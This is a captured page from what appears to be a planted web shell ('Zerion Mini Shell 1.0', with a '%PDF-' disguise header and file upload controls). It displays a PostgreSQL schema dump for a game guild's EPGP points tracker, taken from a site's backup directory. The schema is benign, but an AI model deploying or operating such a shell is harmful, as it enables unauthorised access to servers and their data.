%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/www_bck/varak.net_bck/epgp.varak.net/
Upload File :
Create Path :
Current File : //data/www_bck/varak.net_bck/epgp.varak.net/epgp.sql

CREATE TABLE characters (
    id integer NOT NULL,
    name character(40) DEFAULT NULL::bpchar NOT NULL,
    class character(12) DEFAULT NULL::bpchar NOT NULL,
    ep integer NOT NULL,
    gp integer NOT NULL,
    active smallint DEFAULT 0 NOT NULL,
    attendance smallint DEFAULT 0 NOT NULL,
    flask smallint DEFAULT 0 NOT NULL
);


ALTER TABLE public.characters OWNER TO epgp;

--
-- Name: characters_id_seq; Type: SEQUENCE; Schema: public; Owner: epgp
--

CREATE SEQUENCE characters_id_seq
    START WITH 1
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;


ALTER TABLE public.characters_id_seq OWNER TO epgp;

--
-- Name: characters_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: epgp
--

ALTER SEQUENCE characters_id_seq OWNED BY characters.id;


--
-- Name: characters_id_seq; Type: SEQUENCE SET; Schema: public; Owner: epgp
--

SELECT pg_catalog.setval('characters_id_seq', 214, true);


--
-- Name: log; Type: TABLE; Schema: public; Owner: epgp; Tablespace: 
--

CREATE TABLE log (
    id integer NOT NULL,
    "character" integer NOT NULL,
    "time" integer NOT NULL,
    "desc" character varying(1024) DEFAULT NULL::character varying NOT NULL,
    ep integer NOT NULL,
    gp integer NOT NULL
);


ALTER TABLE public.log OWNER TO epgp;

--
-- Name: log_id_seq; Type: SEQUENCE; Schema: public; Owner: epgp
--

CREATE SEQUENCE log_id_seq
    START WITH 1
    INCREMENT BY 1
    NO MAXVALUE
    NO MINVALUE
    CACHE 1;


ALTER TABLE public.log_id_seq OWNER TO epgp;

--
-- Name: log_id_seq; Type: SEQUENCE OWNED BY; Schema: public; Owner: epgp
--

ALTER SEQUENCE log_id_seq OWNED BY log.id;


--
-- Name: log_id_seq; Type: SEQUENCE SET; Schema: public; Owner: epgp
--

SELECT pg_catalog.setval('log_id_seq', 4464, true);


--
-- Name: vw_attend; Type: VIEW; Schema: public; Owner: epgp
--

CREATE VIEW vw_attend AS
    SELECT DISTINCT log."time", count(log."time") AS cnt FROM log WHERE ((log."desc")::text ~~ '%Firelands%'::text) GROUP BY log."time";


ALTER TABLE public.vw_attend OWNER TO epgp;

--
-- Name: id; Type: DEFAULT; Schema: public; Owner: epgp
--

ALTER TABLE characters ALTER COLUMN id SET DEFAULT nextval('characters_id_seq'::regclass);


--
-- Name: id; Type: DEFAULT; Schema: public; Owner: epgp
--

ALTER TABLE log ALTER COLUMN id SET DEFAULT nextval('log_id_seq'::regclass);

ALTER TABLE ONLY characters
    ADD CONSTRAINT characters_pkey PRIMARY KEY (id);


--
-- Name: log_pkey; Type: CONSTRAINT; Schema: public; Owner: epgp; Tablespace: 
--

ALTER TABLE ONLY log
    ADD CONSTRAINT log_pkey PRIMARY KEY (id);

Zerion Mini Shell 1.0